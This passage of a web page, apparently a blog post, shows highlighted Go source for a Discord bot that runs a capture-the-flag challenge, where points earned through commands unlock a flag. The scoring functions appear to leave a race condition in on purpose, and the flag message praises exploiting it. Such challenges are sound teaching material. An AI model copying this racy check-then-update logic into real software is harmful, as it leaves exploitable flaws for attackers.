</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Top five is: "</span><span class="p">,</span><span class="x"> </span><span class="n">topFive</span><span class="p">)</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"Top five highscore</span><span class="se">\n\n</span><span class="s">"</span><span class="x">
</span><span class="k">for</span><span class="x"> </span><span class="n">i</span><span class="p">,</span><span class="n">c</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="k">range</span><span class="x"> </span><span class="n">topFive</span><span class="p">{</span><span class="x">
</span><span class="n">format</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"`[ %d ] %s : %d point`</span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">format</span><span class="p">,</span><span class="x"> </span><span class="n">i</span><span class="o">+</span><span class="m">1</span><span class="p">,</span><span class="x"> </span><span class="n">c</span><span class="o">.</span><span class="n">Username</span><span class="p">,</span><span class="x"> </span><span class="n">c</span><span class="o">.</span><span class="n">Score</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">+=</span><span class="x"> </span><span class="s">"</span><span class="se">\n\n</span><span class="s">Gracias por participar :D </span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">msg</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">do_me</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">user</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">get_user_by_id</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on getting top"</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"Your points </span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"`%s : %d points`</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Username</span><span class="p">,</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Score</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">msg</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">get_user_by_id</span><span class="p">(</span><span class="n">id</span><span class="x"> </span><span class="kt">string</span><span class="p">)</span><span class="x"> </span><span class="p">(</span><span class="n">game</span><span class="o">.</span><span class="n">User</span><span class="p">,</span><span class="x"> </span><span class="kt">error</span><span class="p">)</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">res</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">DB</span><span class="o">.</span><span class="n">Query</span><span class="p">(</span><span class="s">"select * from users where id = ? "</span><span class="p">,</span><span class="x"> </span><span class="n">id</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on getting top"</span><span class="p">)</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">user</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">game</span><span class="o">.</span><span class="n">User</span><span class="p">{</span><span class="n">Id</span><span class="o">:</span><span class="x"> </span><span class="o">-</span><span class="m">1</span><span class="p">,</span><span class="x"> </span><span class="n">Username</span><span class="o">:</span><span class="x"> </span><span class="s">""</span><span class="p">,</span><span class="x"> </span><span class="n">Score</span><span class="o">:</span><span class="x"> </span><span class="m">0</span><span class="p">,</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">defer</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span><span class="x">
</span><span class="k">for</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Next</span><span class="p">(){</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">res</span><span class="o">.</span><span class="n">Scan</span><span class="p">(</span><span class="o">&</span><span class="n">user</span><span class="o">.</span><span class="n">Id</span><span class="p">,</span><span class="x"> </span><span class="o">&</span><span class="n">user</span><span class="o">.</span><span class="n">Username</span><span class="p">,</span><span class="x"> </span><span class="o">&</span><span class="n">user</span><span class="o">.</span><span class="n">Score</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Id</span><span class="x"> </span><span class="o">==</span><span class="x"> </span><span class="o">-</span><span class="m">1</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"No user found, lol</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">errors</span><span class="o">.</span><span class="n">New</span><span class="p">(</span><span class="s">"No user found with that id"</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x"> </span><span class="n">user</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">return</span><span class="x"> </span><span class="n">user</span><span class="p">,</span><span class="x"> </span><span class="no">nil</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">get_flag</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">win</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"Felicitaciones por encontrar y explotar la vulnerabilidad!</span><span class="se">\n\n</span><span class="s">Aquí tu premio: `%s`</span><span class="se">\n\n</span><span class="s">"</span><span class="x">
</span><span class="n">user</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">get_user_by_id</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Cant get user"</span><span class="p">)</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Score</span><span class="x"> </span><span class="o">>=</span><span class="x"> </span><span class="m">20</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">pm</span><span class="p">,</span><span class="n">_</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">s</span><span class="o">.</span><span class="n">UserChannelCreate</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="n">flag</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">os</span><span class="o">.</span><span class="n">Getenv</span><span class="p">(</span><span class="s">"flag"</span><span class="p">)</span><span class="x">
</span><span class="n">win</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">win</span><span class="p">,</span><span class="x"> </span><span class="n">flag</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">pm</span><span class="o">.</span><span class="n">ID</span><span class="p">,</span><span class="x"> </span><span class="n">win</span><span class="p">)</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"Gratz to `%s` for winning the contest :D !</span><span class="se">\n\n</span><span class="s">"</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">Username</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">msg</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"No tienes puntos suficientes</span><span class="se">\n</span><span class="s">[%d/20] `%s` dumb jaker </span><span class="se">\n</span><span class="s">"</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Score</span><span class="p">,</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Username</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">msg</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="x"> </span><span class="p">)</span><span class="x"> </span><span class="n">do_powerup</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">gonna_win</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">addN</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">Username</span><span class="x"> </span><span class="o">+</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">Discriminator</span><span class="p">,</span><span class="x"> </span><span class="m">1</span><span class="p">)</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Created user %s, score %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="p">,</span><span class="x"> </span><span class="m">1</span><span class="x"> </span><span class="p">);</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"Gratz `%s`, ganaste 1 punto!"</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">msg</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">gonna_win</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">user</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">get_user_by_id</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on getting top"</span><span class="p">)</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Score</span><span class="x"> </span><span class="o">>=</span><span class="x"> </span><span class="m">10</span><span class="p">{</span><span class="x">
</span><span class="n">stmt</span><span class="p">,</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">DB</span><span class="o">.</span><span class="n">Prepare</span><span class="p">(</span><span class="s">"UPDATE users set score = ? where id = ?"</span><span class="p">)</span><span class="x">
</span><span class="n">stmt</span><span class="o">.</span><span class="n">Exec</span><span class="p">(</span><span class="m">1</span><span class="p">,</span><span class="x"> </span><span class="n">user</span><span class="o">.</span><span class="n">Id</span><span class="p">)</span><span class="x">
</span><span class="n">stmt</span><span class="o">.</span><span class="n">Close</span><span class="p">()</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Error on updating</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span><span class="x">
</span><span class="n">log</span><span class="o">.</span><span class="n">Fatalln</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="s">"Noooope, no puedes ganar aún ewe, puntaje: 1"</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">do_super_powerup</span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">){</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">gonna_win</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="s">"`%s`, No hay flag para ti hoy :D, bye bye !"</span><span class="x">
</span><span class="n">msg</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="n">msg</span><span class="p">)</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="k">func</span><span class="p">()</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">time</span><span class="o">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">time</span><span class="o">.</span><span class="n">Second</span><span class="p">)</span><span class="x">
</span><span class="n">s</span><span class="o">.</span><span class="n">ChannelMessageSend</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">,</span><span class="x"> </span><span class="s">"Te daré 10 puntos antes de expulsarte, por penita :3"</span><span class="p">)</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">addN</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">Username</span><span class="x"> </span><span class="o">+</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">Discriminator</span><span class="p">,</span><span class="x"> </span><span class="m">10</span><span class="p">)</span><span class="x">
</span><span class="n">time</span><span class="o">.</span><span class="n">Sleep</span><span class="p">(</span><span class="m">1</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">time</span><span class="o">.</span><span class="n">Second</span><span class="p">)</span><span class="x">
</span><span class="n">p</span><span class="o">.</span><span class="n">gonna_win</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="n">err</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">s</span><span class="o">.</span><span class="n">GuildMemberDelete</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">GuildID</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"Guild id: %s</span><span class="se">\n</span><span class="s">Author id: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">GuildID</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="p">)</span><span class="x">
</span><span class="c">//err := s.GuildMemberDeleteWithReason(m.GuildID, m.Author.ID, "U hacker fool!")</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">err</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="no">nil</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Error on kicking"</span><span class="p">)</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="p">}()</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">func</span><span class="x"> </span><span class="p">(</span><span class="n">p</span><span class="x"> </span><span class="o">*</span><span class="x"> </span><span class="n">BotMeisterDB</span><span class="p">)</span><span class="x"> </span><span class="n">Core</span><span class="x"> </span><span class="p">(</span><span class="n">s</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">Session</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="x"> </span><span class="o">*</span><span class="n">discordgo</span><span class="o">.</span><span class="n">MessageCreate</span><span class="p">)</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="o">.</span><span class="n">ID</span><span class="x"> </span><span class="o">==</span><span class="x"> </span><span class="n">s</span><span class="o">.</span><span class="n">State</span><span class="o">.</span><span class="n">User</span><span class="o">.</span><span class="n">ID</span><span class="p">{</span><span class="x">
</span><span class="c">// Ignore bots self message</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">Verbose</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"%s sended: </span><span class="se">\n</span><span class="s">%s</span><span class="se">\n</span><span class="s">On the following channel: %s</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Author</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">Content</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="c">/*
Check if its the authorized channel
*/</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">m</span><span class="o">.</span><span class="n">ChannelID</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="s">"903403612737265706"</span><span class="p">{</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="nb">len</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Content</span><span class="p">)</span><span class="x"> </span><span class="o"><=</span><span class="x"> </span><span class="m">0</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Println</span><span class="p">(</span><span class="s">"Not enough length!"</span><span class="p">)</span><span class="x">
</span><span class="n">m</span><span class="o">.</span><span class="n">Content</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="s">"-help"</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">args</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">strings</span><span class="o">.</span><span class="n">Fields</span><span class="p">(</span><span class="n">strings</span><span class="o">.</span><span class="n">ToLower</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">Content</span><span class="p">))</span><span class="x">
</span><span class="n">command</span><span class="x"> </span><span class="o">:=</span><span class="x"> </span><span class="n">args</span><span class="p">[</span><span class="m">0</span><span class="p">]</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">Verbose</span><span class="p">{</span><span class="x">
</span><span class="n">fmt</span><span class="o">.</span><span class="n">Printf</span><span class="p">(</span><span class="s">"ARGS: %s</span><span class="se">\n</span><span class="s">Command: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="x"> </span><span class="n">args</span><span class="p">,</span><span class="x"> </span><span class="n">command</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="k">if</span><span class="x"> </span><span class="n">strings</span><span class="o">.</span><span class="n">Compare</span><span class="p">(</span><span class="kt">string</span><span class="p">(</span><span class="n">command</span><span class="p">[</span><span class="m">0</span><span class="p">]),</span><span class="x"> </span><span class="s">"-"</span><span class="p">)</span><span class="x"> </span><span class="o">!=</span><span class="x"> </span><span class="m">0</span><span class="p">{</span><span class="x">
</span><span class="k">return</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="n">command</span><span class="x"> </span><span class="o">=</span><span class="x"> </span><span class="n">strings</span><span class="o">.</span><span class="n">Replace</span><span class="p">(</span><span class="n">command</span><span class="p">,</span><span class="x"> </span><span class="s">"-"</span><span class="p">,</span><span class="s">""</span><span class="p">,</span><span class="o">-</span><span class="m">1</span><span class="p">)</span><span class="x">
</span><span class="k">switch</span><span class="x"> </span><span class="n">command</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="k">case</span><span class="x"> </span><span class="s">"h"</span><span class="p">,</span><span class="x"> </span><span class="s">"help"</span><span class="o">:</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">help_response</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="x"> </span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="k">case</span><span class="x"> </span><span class="s">"powerup"</span><span class="o">:</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">do_powerup</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="k">case</span><span class="x"> </span><span class="s">"super_powerup"</span><span class="o">:</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">do_super_powerup</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="k">case</span><span class="x"> </span><span class="s">"top"</span><span class="o">:</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">do_top</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="k">case</span><span class="x"> </span><span class="s">"me"</span><span class="o">:</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">do_me</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="k">case</span><span class="x"> </span><span class="s">"flag"</span><span class="o">:</span><span class="x">
</span><span class="k">go</span><span class="x"> </span><span class="n">p</span><span class="o">.</span><span class="n">get_flag</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="n">m</span><span class="p">)</span><span class="x">
</span><span class="p">}</span><span class="x">
</span><span class="p">}</span><span class="x">
</span></code></pre></div></div>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="x">
</span><span class="k">package</span><span class="x"> </span><span class="n">game</span><span class="x">
</span><span class="k">type</span><span class="x"> </span><span class="n">User</span><span class="x"> </span><span class="k">struct</span><span class="x"> </span><span class="p">{</span><span class="x">
</span><span class="n">Id</span><span class="x"> </span><span class="kt">int</span><span class="x">
